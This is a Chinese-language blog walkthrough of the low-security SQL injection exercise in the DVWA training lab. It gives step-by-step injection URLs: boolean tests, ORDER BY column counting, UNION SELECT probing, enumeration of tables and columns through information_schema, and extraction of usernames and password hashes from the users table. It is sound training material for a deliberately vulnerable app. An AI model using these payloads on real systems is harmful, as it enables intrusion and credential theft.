SQL Injection(SQL注入)-DVWA
2023-11-10
| 2024-4-21
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)

一、Low 级(基本没有做防护或者只是最简单的防护)

引用:
博客园 SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索[https://cnblogs.com/impulse-/p/13184023.html]

含义:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。

思路:判断是否存在注入,注入命令查询数据

实操:

1.先正常操作一次,观察URL变化

  • 例如,输入2,点击Submit
  • 观察到URL变为
    • http://xxx.xxx.xxx.xxx:8000/vulnerabilities/sqli/?id=2&Submit=Submit#
  • 分析URL,发现id=参数与输入的数字对应

2.判断是否存在注入

  • 修改URL,id后加入1‘ and ‘1’ = ‘2判断注入类型
    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=1' and '1'='2&Submit=Submit#
    • 完整的SQL语句:SELECT first_name,last_name FROM users WHERE user_id = ‘1' and '1'='2’;(红色为添加的部分)
    • 发现返回的结果为空,证明查询条件判断恒为假。
  • 修改URL,id后加入1' or '321'='321判断注入类型
    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=1' or '321'='321&Submit=Submit#
    • 完整的SQL语句:SELECT first_name,last_name FROM users WHERE user_id = ‘1' or '321'='321’;(红色为添加的部分)
    • 发现返回的结果为users表中所有的用户数据,证明查询条件判断恒为真。
  • 同时,由单引号判断,这是一个字符型SQL注入。

3.判断字段数

  • 加入单引号’ ,且在语句末尾加上注释符--+(注意后面得跟上+)
    • 存在注入点,且单引号闭合
插一句话:SQL语句中的两个注释符(#和--)在使用上有一些区别。如果你在Hackbar中使用了--那么你就需要跟上+,而且#不生效。而如果你在文本框中使用#那么是生效的。这是由于URL编码造成的。详见https://cnblogs.com/impulse-/p/13184023.html
  • 使用order by x 命令查询字段数
    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=2' order by 3 --+&Submit=Submit#
  • 发现当order by 3时,提示 Unknown column '3' in 'order clause'
  • 当order by 2时,无报错
  • 判断出字段数为2

4.判断显示位

  • 使用联合查询union select x,x命令判断显示位
    • 将ID改为查不到数据的大小
    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select 1,2 --+&Submit=Submit#
  • 观察返回的数据
    • 可知回显点为1和2

    5.查询数据库版本 和 数据库名

    • 查看当前数据库版本:version()
    • 查看当前数据库名:database()
    • 用两个命令替换刚才的1和2
      • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),database() --+&Submit=Submit#
    • 观察返回的数据
    • 此时First name返回的数据为数据库版本,Surname返回的数据为数据库名。

    6.输出当前数据库下的表名

    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ &Submit=Submit#
    • 观察返回的数据
    • 此时First name返回的数据为数据库版本,Surname返回的数据为当前数据库下的表名

    7.输出users表下面的所有字段名

    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ &Submit=Submit#
    • 观察返回的数据
    • 此时First name返回的数据为数据库版本,Surname返回的数据为当前数据库下的字段名

    7.输出users表中的user和password字段数据

    • http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select user,password from users limit 0,1--+ &Submit=Submit#
    • 观察返回的数据
    • 此时First name返回的数据为user,Surname返回的数据为password。

    入侵成功!

     
     
  • CTF
  • DVWA靶场
  • File Upload(文件上传)-DVWA关于我
    Loading...
    目录